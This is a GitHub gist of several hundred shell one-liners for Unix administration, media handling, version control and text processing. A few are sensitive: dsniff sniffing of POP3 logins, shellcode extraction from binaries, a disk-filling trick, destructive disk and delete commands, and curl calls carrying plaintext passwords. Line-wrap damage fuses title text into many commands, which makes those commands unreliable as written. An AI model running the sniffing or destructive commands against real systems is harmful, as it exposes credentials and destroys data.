Skip to content

Instantly share code, notes, and snippets.

@Zobber
Created April 21, 2020 00:31
Show Gist options
  • Save Zobber/3885385d421d980a59f44ca93ca9e049 to your computer and use it in GitHub Desktop.
Save Zobber/3885385d421d980a59f44ca93ca9e049 to your computer and use it in GitHub Desktop.
# Top ten (or whatever) memory utilizing processes (with children aggregate) - Can be done without the multi-dimensional array
ps axo rss,comm,pid | awk '{ proc_list[$2] += $1; } END { for (proc in proc_list) { printf("%d\t%s\n", proc_list[proc],proc); }}' | sort -n | tail -n 10
# Download last file from index of
NAME=`wget --quiet URL -O - | grep util-vserver | tail -n 1 | sed 's|</a>.*||;s/.*>//'`; wget URL$UTILVSERVER;
# Delete newline
tr -d "\n" < file1 > file2
# which procs have $PATH_REGEX open?
find /proc -regex '/proc/[0-9]+/smaps' -exec grep -l "$PATH_REGEX" {} \; | cut -d'/' -f2
# Adding formatting to an xml document for easier reading
xmllint --format <filename> > <output file>
# Picture Renamer
exiv2 rename *.jpg
# Build an exhaustive list of maildir folders for mutt
find ~/Maildir/ -mindepth 1 -type d | egrep -v '/cur$|/tmp$|/new$' | xargs
# Tells you where a command is in your $PATH, but also wether it's a link and to
what.ls -l `which foo`
# Bash: escape '-' character in filename
mv ./-filename filename
# Do one ping to a URL, I use this in a MRTG gauge graph to monitor connectivit
yping -q -c 1 www.google.com|tail -1|cut -d/ -f5
# Calculate sum of N numbers (Thanks to flatcap)
seq 100000 | paste -sd+ | bc
# GRUB2: Set Imperial Death March as startup tune
echo "GRUB_INIT_TUNE=\"480 440 4 440 4 440 4 349 3 523 1 440 4 349 3 523 1 440 8 659 4 659 4 659 4 698 3 523 1 415 4 349 3 523 1 440 8"\"" | sudo tee -a /etc/default/grub > /dev/null && sudo update-grub
# Find the package a command belongs to on debian-based distros
whichpkg () { dpkg -S $1 | egrep -w $(readlink -f "$(which $1)")$; }
# Make ls output better visible on dark terminals in bash
unalias ls
# list all crontabs for users
cut -d: -f1 /etc/passwd | grep -vE "#" | xargs -i{} crontab -u {} -l
# Override and update your locally modified files through cvs..
cvs update -C
# Check variable has been set
[ -z "$VAR" ] && echo "VAR has not been set" && exit 1
# ptree equivalent in HP-UX
UNIX95=1 ps -eHf
# Sort a character string
echo sortmeplease | perl -pe 'chomp; $_ = join "", sort split //'
# Short one line while loop that outputs parameterized content from one file to
anotherwhile read l; do echo ${l%% *}; done < three-column-list.txt > only-first-column.txt
# Check a server is up. If it isn't mail me.
nc -zw2 www.example.com 80 || echo http service is down | mail -s 'http is down' [email protected]
# Calculate N!
seq 10 | paste -sd* | bc
# Generate a quick, lengthy password
head /dev/urandom | md5sum | base64
# Create a random password encrypted with md5 with custom lenght
echo -n $mypass | md5sum | awk {'print $1'}
# Validating a file with checksum
echo 'c84fa6b830e38ee8a551df61172d53d7 myfile' | md5sum -c
# Delete leading whitespace from the start of each line
sed 's/^\s*//' input.txt
# copy root to new device
mount /dev/root /mnt/root; rsync -avHX /mnt/root/ /mnt/target/
# Search for in which package the specified file is included.
/bin/rpm -qf /etc/passwd /etc/issue /etc/httpd/conf/httpd.conf
# Checks the syntax of all PHP files in and below the current working directory
find . -name "*.php" -exec php -l {} \; | sed -e "/^No syntax/d"
# Copy a file and force owner/group/mode
install -o user -g group -m 755 /path/to/file /path/to/dir/
# find large files
find . -type f -size +1100000k |xargs -I% du -sh %
# simple echo of IPv4 IP addresses assigned to a machine
ip addr | awk '/inet / {sub(/\/.*/, "", $2); print $2}'
# Move mp3 files to another path with existing subtree structure
find . -iname "*.mp3" -type f -print0 | xargs -0 -I '{}' mv {} /new/path/to/mp3/{}
# Simple list of apache2 virtualhosts
/usr/sbin/apache2ctl -S
# Show local/public IP adresses with or without interface argument using a shell
function for Linux and MacOsXMyIps(){ echo -e "local:\n$(ifconfig $1 | grep -oP 'inet (add?r:)?\K(\d{1,3}\.){3}\d{1,3}')\n\npublic:\n$(curl -s sputnick-area.net/ip)"; }
# Show git branches by date - useful for showing active branches
for k in `git branch|sed s/^..//`;do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" "$k"`\\t"$k";done|sort
# Command template, executing a command over multiple files, outputing progress
and fails onlyfind <dir> -name "<pattern>" | while read file; do echo -n .; output=$(<command>) || (echo ; echo $file:; echo "$output"; ); done
# Use Dell Service Tag $1 to Find Machine Model [Model Name and Model Number]
curl -s $dellurl$1 | tr "\"" "\n" | grep "</td></tr><tr><td class=" -m 2 | grep -v "Service Tag" | sed 's/>//g' | sed 's/<\/td<\/tr<tr<td class=//g'
# drill holes on image
convert -size 20x20 xc:white -fill black -draw "circle 10,10 14,14" miff:- | composite -tile - input.png -compose over miff:- | composite - input.png -compose copyopacity output.png
# Show one line summaries of all DEB packages installed on Ubuntu based on patte
rn searchdpkg --list '*linux*' | grep '^ii'
# Scan a gz file for non-printable characters and display each line number and l
ine that contains them.zcat a_big_file.gz | sed -ne "$(zcat a_big_file.gz | tr -d "[:print:]" | cat -n | grep -vP "^ *\d+\t$" | cut -f 1 | sed -e "s/\([0-9]\+\)/\1=;\1p;/" | xargs)" | tr -c "[:print:]\n" "?"
# erase content from a cdrw
cdrecord -v -blank=all -force
# Delete a file/directory walking subdirectories (bash4 or zsh)
shopt -s globstar ; rm -f **/cscope.out
# Pick a random line from a file
perl -e 'rand($.) < 1 && ($line = $_) while <>;'
# Force the script to be started as root
if [ $EUID -ne 0 ];then if [ -t $DISPLAY ]; then sudo $0 "$*"; exit; else xdg-su -c "$0 $*"; exit;fi;fi
# Watch movies in your terminal
mplayer -vo caca MovieName.avi
# Fill up disk space (for testing)
tail $0 >> $0
# Print a row of 50 hyphens
ruby -e 'puts "-" * 50'
# Geolocate a given IP address
geoiplookup <ipadress>
# memory usage
ps -e -orss=,args= | sort -b -k1,1n | pr -TW$COLUMNS
# simple port check command
parallel 'nc -z -v {1} {2}' ::: 192.168.1.10 192.168.1.11 ::: 80 25 110
# Fix borked character coding in a tty.
LC_ALL=C man -c man
# Pretty Print a simple csv in the command line
python -c 'import sys,csv; c = csv.reader(sys.stdin); [sys.stdout.write("^M".join(map(repr,r))+"\n") for r in c];' <tmp/test.csv | column -s '^M' -t
# Search apache virtual host by pattern
sed -n '/^[^#]*<Virtual/{:l N; /<\/Virtual/!bl;}; /PATTERN/p' vhosts.conf
# Selecting a random file/folder of a folder
ls -1 | shuf -n 1
# Create a bash script from last n commands
history | tail -(n+1) | head -(n) | sed 's/^[0-9 ]\{7\}//' >> ~/script.sh
# Name a backup/archive file based on current date and time
archivefile=filename-$(date +%Y%m%d-%H%M).tar.gz
# Testing php configuration
php -r "phpinfo\(\);"
# Pretty man pages under X
vman(){ T=/tmp/$$.pdf;man -t $1 |ps2pdf - >$T; xpdf $T; rm -f $T; }
# diff 2 remote files
diff <(ssh user@host1 cat /path/to/file) <(ssh user@host2 cat /path/to/file2)
# Clear current session history (bash)
history -c
# Watch the disk fill up with change highlighting
watch -d -n 5 df
# SVN Clean
svn status | grep ^? | awk '{print $2}' | xargs rm -rf
# Backup with SSH in a archive
ssh -i $PRIVATEKEY $HOST -C 'cd $SOURCE; tar -cz --numeric-owner .' | tee $DESTINATION/backup.tgz | tar -tz
# Easily decode unix-time (funtion)
utime(){ perl -e "print localtime($1).\"\n\"";}
# Ruby - nslookup against a list of IP`s or FQDN`s
while read n; do host $n; done < list
# How to speedup the Ethernet device
sudo ethtool -s eth0 speed 100 duplex full
# Signals list by NUMBER and NAME
i=0;for s in `fuser -l`;do echo $((i++)) $s;done
# Retrieve the size of a file on a server
curl -s "$URL" |wc -c
# Get line count for any file ending with extension recursively rooted at the cu
rrent directory.find . -name "*.py" | xargs wc -l
# Sum columns from CSV column $COL
perl -F',' -ane '$a += $F[3]; END { print $a }' test.csv
# Recursively replace a string in files with lines matching string
find . -type f |xargs -I% sed -i '/group name/s/>/ deleteMissing="true">/' %
# convert flac to mp3
flac -cd input.flac |lame -h - output.mp3
# backup system over ssh, exlucde common dirs
ssh [email protected] "cd /;nice -n 10 tar cvpP ?exclude={"/proc/*","/sys*","/tmp/*","/home/user/*"} /">backup.tar.gz
# Extract all 404 errors from your apache accesslog (prefix lines by occurrences
number)grep "HTTP/1.1\" 404" access_log | awk '{print $7 } ' | sort | uniq -c | sort -n
# Recursive Ownership Change
chown -cR --from=olduser:oldgroup newuser:newgroup *
# For Gentoo users : helping with USE / emerge
emerge -epv world | grep USE | cut -d '"' -f 2 | sed 's/ /\n/g' | sed '/[(,)]/d' | sed s/'*'//g | sort | uniq > use && grep ^- use | sed s/^-// | sed ':a;N;$!ba;s/\n/ /g' > notuse && sed -i /^-/d use && sed -i ':a;N;$!ba;s/\n/ /g' use
# search string in _all_ revisions
for i in `git log --all --oneline --format=%h`; do git grep SOME_STRING $i; done
# Incase you miss the famous 'C:\>' prompt
export PS1='C:${PWD//\//\\\}>'
# Terminal - Show directories in the PATH, one per line with sed and bash3.X `he
re string'sed 's/:/\n/g' <<<$PATH
# Search trought pidgin's conversation logs for "searchterm", and output the res
ult.grep -Ri searchterm ~/.purple/logs/* | sed -e 's/<.*?>//g'
# move contents of the current directory to the parent directory, then remove cu
rrent directory.find . ! -name "." -print0 | xargs -0 -I '{}' mv -n '{}' ..; rmdir "$PWD"
# Check the reserved block percentage of an Ext2/3 filesystem
dumpe2fs -h /dev/sda1 2> /dev/null | awk -F ':' '{ if($1 == "Reserved block count") { rescnt=$2 } } { if($1 == "Block count") { blkcnt=$2 } } END { print "Reserved blocks: "(rescnt/blkcnt)*100"%" }'
# How to estimate the storage size of all files not named *.[extension] on the c
urrent directoryfind . -maxdepth 1 -type f -not -iname '*.jpg' -ls |awk '{TOTAL+=$7} END {print int(TOTAL/(1024^2))"MB"}'
# Validate openssh key & print checksum
ssh-keygen -l -f [pubkey] | awk '{print $2}' | tr -ds ':' '' | egrep -ie "[a-f0-9]{32}"
# Rsync between two servers
rsync -zav --progress original_files_directory/ root@host(IP):/path/to/destination/
# convert a pdf to jpeg
sips -s format jpeg Bild.pdf --out Bild.jpg
# Salvage a borked terminal
echo <ctrl+v><ctrl+o><enter>
# Keep a close eye on a backgrounded job
lsof -p$!
# Remove all .svn folders
find . -name .svn -type d |xargs rm -rf
# Check if a package is installed. If it is, the version number will be shown.
dpkg -l python
# Cropping a video file in ffmpeg
ffmpeg -i inputfile.avi -croptop 88 -cropbottom 88 -cropleft 360 -cropright 360 outputfile.avi
# Show UDID of iPhone
lsusb -s :`lsusb | grep iPhone | cut -d ' ' -f 4 | sed 's/://'` -v | grep iSerial | awk '{print $3}'
# Record camera's output to a avi file
mencoder -tv device=/dev/video1 tv:// -ovc copy -o video.avi
# Get current Xorg resolution via xrandr
xrandr -q|sed -n 's/.*current[ ]\([0-9]*\) x \([0-9]*\),.*/\1x\2/p'
# Fetch the Gateway Ip Address
netstat -nr | awk 'BEGIN {while ($3!="0.0.0.0") getline; print $2}'
# How to get an absolute value
abs_value=-1234; echo ${abs_value#-}
# Get IP from host
getent hosts positon.org | cut -d' ' -f1
# search for text in files. recursive.
find /name/of/dir/ -name '*.txt' | xargs grep 'text I am searching for'
# Remove apps with style: nuke it from orbit
function nuke() { if [ $(whoami) != "root" ] ; then for x in $@; do sudo apt-get autoremove --purge $x; done; else for x in $@; do apt-get autoremove --purge $x; done; fi }
# Encode a file to MPEG4 format
mencoder video.avi lavc -lavcopts vcodec=mpeg4:vbitrate=800 newvideo.avi
# Remove sound from video file using mencoder
mencoder -ovc copy -nosound input.avi -o output.avi
# Create a tar file with the current date in the name.
tar cfz backup-`date +%F`.tgz somedirs
# RTFM function
rtfm() { help $@ || $@ -h || $@ --help || man $@ || $BROWSER "http://www.google.com/search?q=$@"; }
# svn diff colorized
svn diff --diff-cmd="colordiff"
# Stream YouTube URL directly to mplayer.
mplayer -fs -cookies -cookies-file /tmp/cookie.txt $(youtube-dl -g --cookies /tmp/cookie.txt "http://www.youtube.com/watch?v=PTOSvEX-YeY")
# Easily run a program in the background without losing output
function fork () { tf=$(tempfile -d /tmp -p $1.);echo -n "$tf "; $@ &>$tf& }
# Substitute audio track of video file using mencoder
mencoder -ovc copy -audiofile input.mp3 -oac copy input.avi -o output.avi
# Check if variable is a number
if [ "$testnum" -eq "$testnum" 2>/dev/null ]; then echo It is numeric; fi
# Prints line numbers
grep -n "^" <filename>
# Get all shellcode on binary file from objdump
objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
# Get movie length
mplayer -vo null -ao null -frames 0 -identify movie.avi | awk '{FS="="}; /ID_LENGTH/{ H=int($2/3600); M=int(($2-H*3600)/60); S=int($2%60); print H":"M":"S}'
# Probably, most frequent use of diff
diff -Naur --strip-trailing-cr
# list all file extensions in a directory
find /path/to/dir -type f | grep -o '\.[^./]*$' | sort | uniq
# Export a subset of a database
mysqldump --where="true LIMIT X" databasename > output.sql
# set prompt and terminal title to display hostname, user ID and pwd
export PS1='\[\e]0;\h \u \w\a\]\n\[\e[0;34m\]\u@\h \[\e[33m\]\w\[\e[0;32m\]\n\$ '
# Set Time Zone in Ubuntu
sudo dpkg-reconfigure tzdata
# Delete Empty Directories
find . -type d -exec rmdir {} \;
# Remove all files but one starting with a letter(s)
rm -rf [a-bd-zA-Z0-9]* c[b-zA-Z0-9]*
# Download streaming video in mms
mimms mms://Your_url.wmv
# Run a command, redirecting output to a file, then edit the file with vim.
vimcmd() { $1 > $2 && vim $2; }
# Monitor connection statistics with netstat and watch
watch -n 1 "netstat -ntu | sed '1,2d' | awk '{ print \$6 }' | sort | uniq -c | sort -k 2"
# Unrar multiple directories into current working directory
for x in */*.rar; do unrar x $x; done
# Resize all JPEGs in a directory
mogrify -resize 1024 *.jpg
# Mortality Countdown
while [ 0 ]; do expr 2365200000 \- `date +%s` \- `date --date "YYYY-mm-dd HH:MM:ss" +%s`; sleep 1; clear; done
# convert a,b,c to ('a','b','c') for use in SQL in-clauses
echo a,b,c | sed -e s/,/\',\'/g -e s/^/\(\'/ -e s/$/\'\)/
# Monitoring sessions that arrive at your server
watch -n 1 -d "finger"
# list all file extensions in a directory
find /path/to/dir -type f -name '*.*' | sed 's@.*/.*\.@.@' | sort | uniq
# Type strait into a file from the terminal.
cat /dev/tty > FILE
# most used unix commands
cut -d\ -f 1 ~/.bash_history | sort | uniq -c | sort -rn | head -n 10 | sed 's/.*/ &/g'
# Happy New Year!
perl -e 'print for(map{chr(hex)}("4861707079204E6577205965617221"=~/(.{2})/g)),"\n";'
# Remove executable bit from all files in the current directory recursively, exc
luding other directoriesfind . ! -type d -exec chmod -x {}\;
# Every Nth line position # (SED)
sed -n '1,${p;n;n;}' foo > foo_every3_position1; sed -n '2,${p;n;n;}' foo > foo_every3_position2; sed -n '3,${p;n;n;}' foo > foo_every3_position3
# make, or run a script, everytime a file in a directory is modified
while inotifywait -r -e MODIFY dir/; do make; done;
# Squish repeated delimiters into one
echo "hello::::there" | tr -s ':'
# Fix the vi zsh bindings on ubuntu
sudo sed -iorig '/\(up\|down\)/s/^/#/' /etc/zsh/zshrc
# phpdoc shortcut
gophpdoc() { if [ $# -lt 2 ]; then echo $0 '< file > < title > [ pdf ]'; return; fi; if [ "$3" == 'pdf' ]; then ot=PDF:default:default; else ot=HTML:frames:earthli; fi; phpdoc -o $ot -f "$1" -t docs -ti "$2" }
# Prevent an IPv6 address on an interface from being used as source address of p
ackets.ip addr change 2001:db8:1:2::ab dev eth0 preferred_lft 0
# sync two folders except hidden files
rsync -vau --exclude='.*' SOURCE-PATH/myfold TARGET-PATH
# Generate random IP addresses
nmap -n -iR 0 -sL | cut -d" " -f 2
# One liner to kill a process when knowing only the port where the process is ru
nningkill -9 `lsof -t -i :port_number`
# Calculate N!
echo $(($(seq -s* 10)))
# VIM: when Ctrl-D and Ctrl-U only scroll one line, reset to default
:set scroll=0
# check the status of 'dd' in progress
while killall -USR1 dd; do sleep 5; done
# count of files from each subfolder
for i in `find /home/ -maxdepth 1 -type d`; do echo -n $i " ";find $i|wc -l; done
# Convert ascii string to hex
echo -n 'text' | xxd -ps | sed -e ':a' -e 's/\([0-9]\{2\}\|^\)\([0-9]\{2\}\)/\1\\x\2/;ta'
# clear all non-ascii chars of file.txt
iconv -c -f utf-8 -t ascii file.txt
# Hiding and Show files on Mac OS X
setfile -a V foo.bar; setfile -a v foo.bar;
# Directory Tree
find . -type d -print | sed -e 's;[^/]*/;..........;g'|awk '{print $0"-("NR-1")"}'
# Sort movies by length, longest first
for i in *.avi; do echo -n "$i:";totem-gstreamer-video-indexer $i | grep DURATION | cut -d "=" -f 2 ; done | sort -t: -k2 -r
# Find all files <10MB and sum up their size
i=0; for f in $(find ./ -size -10M -exec stat -c %s {} \; ); do i=$(($i + $f)); done; echo $i
# copy partition table from /dev/sda to /dev/sdb
sfdisk -d /dev/sda | sfdisk /dev/sdb
# Email an svn dump
(svnadmin dump /path/to/repo | gzip --best > /tmp/svn-backup.gz) 2>&1 | mutt -s "SVN backup `date +\%m/\%d/\%Y`" -a /tmp/svn-backup.gz emailaddress
# Display laptop battery information
acpi -V
# relabel current konsole tab
alias rk='d=$(dcop|grep $PPID) && s=$(dcop $d konsole currentSession) && dcop $d $s renameSession'
# Use find to get around Argument list too long problem
find . -name 'junkfiles-*' -print0 | xargs -0 rm
# command line fu roulette
wget -qO - www.commandlinefu.com/commands/random | grep "<div class=\"command\">" | sed 's/<[^>]*>//g; s/^[ \t]*//; s/&quot;/"/g; s/&lt;/</g; s/&gt;/>/g; s/&amp;/\&/g'
# Replicate a directory structure dropping the files
find . -type d -print0 | (cd $DESTDIR; xargs -0 mkdir)
# Find files in multiple TAR files
find . -type f -name "*.tar" -printf [%f]\\n -exec tar -tf {} \; | grep -iE "[\[]|<filename>"
# In-Place search/replace with datestamped backup
sed -i.`date +%Y%m%d` -e 's/pattern/replace' [filename]
# Another way to see the network interfaces
ip addr show
# Directory Tree
tree -d
# Convert GoogleCL gmail contacts to cone adress book
google contacts list name,name,email|perl -pne 's%^((?!N\/A)(.+?)),((?!N\/A)(.+?)),([a-z0-9\._-]+\@([a-z0-9][a-z0-9-]*[a-z0-9]\.)+([a-z]+\.)?([a-z]+))%${1}:${3} <${5}>%imx' #see below for full command
# Summarize size of all files of given type in all subdirectories (in bytes)
find . -iname '*.jpg' -type f -print0 |perl -0 -ne '$a+=-s $_;END{print "$a\n"}'
# Pascal's triangle
l=10;for((i=0;i<$l;i++));do eval "a$i=($(pv=1;v=1;for((j=0;j<$l;j++));do [ $i -eq 0 -o $j -eq 0 ]&&{ v=1 && pv=1; }||v=$((pv+a$((i-1))[$((j))]));echo -n "$v ";pv=$v;done;));";eval "echo \"\${a$i[@]}\"";done | column -t;
# Suppress output of loud commands you don't want to hear from
function quietly () { $* 2> /dev/null > /dev/null; };
# View a colorful logfile using less
< /var/log/syslog ccze -A | less -R
# Check whether laptop is running on battery or cable
cat /proc/acpi/ac_adapter/ACAD/state
# command line Google I'm Feeling Lucky
lucky(){ url=$(echo "http://www.google.com/search?hl=en&q=$@&btnI=I%27m+Feeling+Lucky&aq=f&oq=" | sed 's/ /+/g'); lynx $url; }; lucky "Emperor Norton"
# Sniff ONLY POP3 authentication by intercepting the USER command
dsniff -i any 'tcp port pop3'
# check the fucking weather
ZIP=48104; curl http://thefuckingweather.com/?zipcode=$ZIP 2>/dev/null|grep -A1 'div class="large"'|tr '\n' ' '|sed 's/^.*"large" >\(..\)/\1/;s/&d.* <br \/>/ - /;s/<br \/>//;s/<\/div.*$//'
# Quickly batch resize images
mogrify -geometry 800x600 *.jpg
# Get an authorization code from Google
curl -s https://www.google.com/accounts/ClientLogin -d Email=$email -d Passwd=$password -d service=lh2 | grep Auth | sed 's/Auth=\(.*\)/\1/'
# find co-ordinates of a location
findlocation() { place=`echo $* | sed 's/ /%20/g'` ; curl -s "http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | grep -e "address" -e "coordinates" | sed -e 's/^ *//' -e 's/"//g' -e 's/address/Full Address/';}
# SVN script for automatically adding and deleting files
svn status | grep '^?' | sed -e 's/^? */svn add "/g' -e 's/$/"/g'|sh ; svn status | grep '^!' | sed -e 's/^! */svn delete "/g' -e 's/$/"/g'|sh
# Show recent earthquakes in Bay Area
lynx --width=200 --dump 'http://quake.usgs.gov/recenteqs/Maps/San_Francisco_eqs.htm'|sed -ne '/MAG.*/,/^References/{;s/\[[0-9][0-9]*\]//;1,/h:m:s/d;/Back to map/,$d;/^$/d;/^[ \t][ \t]*[3-9]\.[0-9][0-9]*[ \t][ \t]*/p; }'|sort -k1nr
# Show DeviceMapper names for LVM Volumes (to disambiguate iostat logs, etc)
sudo lvdisplay |awk '/LV Name/{blockdev=$3} /Block device/{bdid=$3; sub("[0-9]*:","dm-",bdid); print bdid,blockdev;}'
# put current directory in LAN quickly
python3 -m http.server
# [git] Output remote origin from within a local repository
git config --local --get remote.origin.url
# Show device drivers and their properties (Windows XP)
driverquery /si /fo table
# Find and copy scattered mp3 files into one directory
find . -name '*.mp3' -type f -exec sh -c 'exec cp -f "$@" /home/user/dir' find-copy {} +
# Check your hard drive for bad blocks (destructive)
badblocks -c 65536 -o /tmp/badblocks.out -p 2 -s -v -w /dev/hdX > /tmp/badblocks.stdout 2> /tmp/badblocks.stderr
# set a reminder for 5 days in the future
echo "DISPLAY=$DISPLAY xmessage setup suphp perms htscanner acct#101101 host2.domain.com" | at 23:00 Feb 8
# increase recurively the modification time for a list of files
find . -type f | while read line; do NEW_TS=`date -d@$((\`stat -c '%Y' $line\` + <seconds> )) '+%Y%m%d%H%M.%S'`; touch -t $NEW_TS ${line}; done
# Copy structure
cd $srcdir && find -type d -exec mkdir -p $dstdir/{} \;
# Creating shortened URLs from the command line
curl -s http://tinyurl.com/create.php?url=http://<website.url>/ | sed -n 's/.*\(http:\/\/tinyurl.com\/[a-z0-9][a-z0-9]*\).*/\1/p' | uniq
# Batch rename extension of all files in a folder, in the example from .txt to .
mdrename 's/\.txt$/\.md$/i' *
# Uptime in minute
bc <<< `uptime | sed -e 's/^.*up //' -e 's/[^0-9:].*//' | sed 's/:/*60+/g'`
# print lib path of perl
perl -e 'print map { $_ . "\n" } @INC;'
# Delete all but the latest 5 files, ignoring directories
ls -lt|grep ^-|awk 'NR>5 { print $8 }'|xargs -r rm
# Clean your broken terminal
reset
# Wait the end of prog1 and launch prog2
while pkill -0 prog1; do sleep 10; done; prog2
# It decripts all pgp files in a selection folder and move the output into a fil
e.for x in *.pgp do `cat /file_with_the_passphrase.dat|(gpg --batch --no-tty --yes --passphrase-fd=0 --decrypt `basename $x`; ) > 'dump_content.dat'` done;
# grep certain file types recursively
find . -name "*.[ch]" -exec grep "TODO" {} +
# A function to find the newest file in a directory
newest () { DIR=${1:-'.'}; CANDIDATE=`find $DIR -type f|head -n1`; while [[ ! -z $CANDIDATE ]]; do BEST=$CANDIDATE; CANDIDATE=`find $DIR -newer "$BEST" -type f|head -n1`; done; echo "$BEST"; }
# View advanced Sort options, Quick Reference Help Alias
alias sorth='sort --help|sed -n "/^ *-[^-]/s/^ *\(-[^ ]* -[^ ]*\) *\(.*\)/\1:\2/p"|column -ts":"'
# change user & preserver environment (.bashrc&co)
su - -m -p git
# Clone or rescue a block device
ddrescue -v /dev/sda /dev/sdb logfile.log
# HDD Performance Write Test
dd if=/dev/zero of=10gb bs=1M count=10240
# Install the Debian-packaged version of a Perl module
function dpan () { PKG=`perl -e '$_=lc($ARGV[0]); s/::/-/g; print "lib$_-perl\n"' $1`; apt-get install $PKG; }
# convert a .wmv to a .avi
mencoder "/path/to/file.wmv" -ofps 23.976 -ovc lavc -oac copy -o "/path/to/file.avi"
# find your release version of your ubuntu / debian distro
lsb_release -a
# Configuring proxy client on terminal without leaving password on screen or in
bash_historyset-proxy () { P=webproxy:1234; DU="fred"; read -p "username[$DU]:" USER; printf "%b"; UN=${USER:-$DU}; read -s -p "password:" PASS; printf "%b" "\n"; export http_proxy="http://${UN}:${PASS}@$P/"; export ftp_proxy="http://${UN}:${PASS}@$P/"; }
# view http traffic
tcpdump -i eth0 port 80 -w -
# Add all files
svn add `svn status | grep ? | cut -c9-80`
# convert mp3 into mb4 (audiobook format)
mpg123 -s input.mp3 | faac -b 80 -P -X -w -o output.m4b -
# Router discovery
traceroute 2>/dev/null -n google.com | awk '/^ *1/{print $2;exit}'
# A command to post a message and an auto-shortened link to Twitter. The link sh
ortening service is provide by TinyURL.curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s http://tinyurl.com/api-create.php?url=URL_GOES_HERE)" -d source="cURL" http://twitter.com/statuses/update.json -o /dev/null
# Remove all unused kernels with apt-get
perl -e 'chomp($k=`uname -r`); for (</boot/vm*>) {s/^.*vmlinuz-($k)?//; $l.="linux-image-$_ ";} system "aptitude remove $l";'
# Convert a string to "Title Case"
echo 'This is a TEST' | sed 's/[^ ]\+/\L\u&/g'
# Periodic Log Deletion
find /path/to/dir -type f -mtime +[#] -exec rm -f {} \;
# exim statistics about mails from queue
exim -bp | exiqsumm -c
# Search gpg keys from commandline
gpg --search-keys
# Makefile argument passing
make [target] VAR=foobar
# Realy remove file from your drive
function rrm(){ for i in $*; do; if [ -f $i ]; then; echo "rrm - Processing $i"; shred --force --remove --zero --verbose $i; else; echo "Can't process $i"; type=$(stat "$1" -c %F); echo "File $i is $type"; fi; done;}
# Convert ascii string to hex
echo -n 'text' | perl -pe 's/(.)/sprintf("\\x%x", ord($1))/eg'
# Generate list of words and their frequencies in a text file.
tr A-Z a-z | tr -d "[[:punct:]][[:digit:]]" | tr ' /_' '\n' | sort | uniq -c
# auto complete arguments
ls --[TAB][TAB]
# How to trim a video using ffmpeg
ffmpeg -i video.avi -vcodec copy -acodec copy -ss 00:00:00 -t 00:00:04 trimmed_video.avi
# Webcam view with vlc
cvlc v4l2:// &
# Find and copy scattered mp3 files into one directory
find . -type f -iname '*.mp3' -exec cp {} ~/mp3/ \;
# Mirror every lvol in vg00 in hp-ux 11.31
find /dev/vg00 -type b |while read L; do lvextend -m 1 $L /dev/disk/<disk> ; done
# Redirect bash built-in output to stdout
TIME=$( { time YOUR_COMMAND_HERE; } 2>&1 ) ; echo $TIME
# Generate an XKCD #936 style 4 word passphrase (fast)
echo $(shuf -n4 /usr/share/dict/words)
# Search specified $TEXT1 and Replace that by specified arg ($TEXT2)
find "$DIR" -regex "$FILENAME" -type f -print0 | xargs -0 sed -i _`date "+%y%m%d%H%M%S"` -E "s/$TEXT1/$TEXT2/g"
# Go to directory or creat it and go to
[[ -d dir ]] || mkdir dir ; cd dir
# remove the last of all html files in a directory
for f in *.html; do sed '$d' -i "$f"; done
# Quickly build ulimit command from current values
echo "ulimit `ulimit -a|sed -e 's/^.*\([a-z]\))\(.*\)$/-\1\2/'|tr "\n" ' '`"
# Check whether laptop is running on battery or cable
acpi -b | sed 's/,//g' | awk '{print $3}'
# Numeric zero padding file rename
ls *.jpg | awk -F'.' '{ printf "%s %04d.%s\n", $0, $1, $2; }' | xargs -n2 mv
# Record active input of soundcard to file.wav
rec -c 2 -r 44100 -s -t wav file.wav
# Shows the torrent file name along with the trackers url
grep -ao -HP "http://[^/]*/" *
# Check whether laptop is running on battery or cable
while true;do clear;echo -n Current\ `grep voltage /proc/acpi/battery/BAT0/state | awk '{print $2" "$3" "$4}'`;for i in `seq 1 5`;do sleep 1;echo -n .;done;done
# Generate a (compressed) pdf from images
convert -compress jpeg *.jpg mydoc.pdf
# Efficient count files in directory (no recursion)
perl -e 'if(opendir D,"."){@a=readdir D;print $#a-1,"\n"}'
# Readd all files is missing from svn repo
svn status | grep "^\?" | awk '{print $2}' | xargs svn add
# check spell in c source code
grep -o -h -rE '".*"' * | ispell -l -p ~/mydict | sort -u
# Sum file sizes
expr `find . -type f -printf "%s + "0`
# Normalize volume output in MPlayer
mplayer -af volnorm=2:0.75 dvd://
# Execute a command on multiple hosts in parallel
for host in host1 host2 host3; do ssh -n user@$host <command> > $host.log & done; wait
# Gets the X11 Screen resolution
RES=`xrandr | grep '*' | sed 's/\s*\([0-9x]*\).*/\1/'`; echo $RES
# Big (four-byte) $RANDOM
printf %d 0x`dd if=/dev/urandom bs=1 count=4 2>/dev/null | od -x | awk 'NR==1 {print $2$3}'`
# Disable graphical login on Solaris
/usr/dt/bin/dtconfig -d
# Get full URL via http://untr.im/api/ajax/api
URL=[target.URL]; curl -q -d "url=$URL" http://untr.im/api/ajax/api | awk -F 'href="' '{print $3}' | awk -F '" rel="' '{print $1}'
# Get your public ip using dyndns
curl -s 'http://www.loopware.com/ip.php'
# Creat a new user with no shell. Useful to provide other services without givin
g shell access.useradd -s /sbin/nologin nicdev
# Output a SSL certificate start or end date
date --date="$(openssl x509 -in xxxxxx.crt -noout -startdate | cut -d= -f 2)" --iso-8601
# Instant mirror from your laptop + webcam (fullscreen+grab)
mplayer -fs -vf screenshot,mirror tv://
# Provide information on IPC (Inter-process communication) facilities
ipcs
# Change pidgin status
dbus-send --print-reply --dest=im.pidgin.purple.PurpleService /im/pidgin/purple/PurpleObject im.pidgin.purple.PurpleInterface.PurpleSavedstatusActivate int32:<WANTED STATE>
# Recursive grep of all c++ source under the current directory
find . -name '*.?pp' -exec grep -H "string" {} \;
# To find which host made maximum number of specific tcp connections
netstat -n | grep '^tcp.*<IP>:<PORT>' | tr " " | awk 'BEGIN{FS="( |:)"}{print $6}' | sort | uniq -c | sort -n -k1 | awk '{if ($1 >= 10){print $2}}'
# Check hashes of files installed by Debian packages, reporting only errors.
debsums -s
# Use -t when using find and cp
find . -name "*.pdf" -print0 | xargs -0 cp -t downloads/
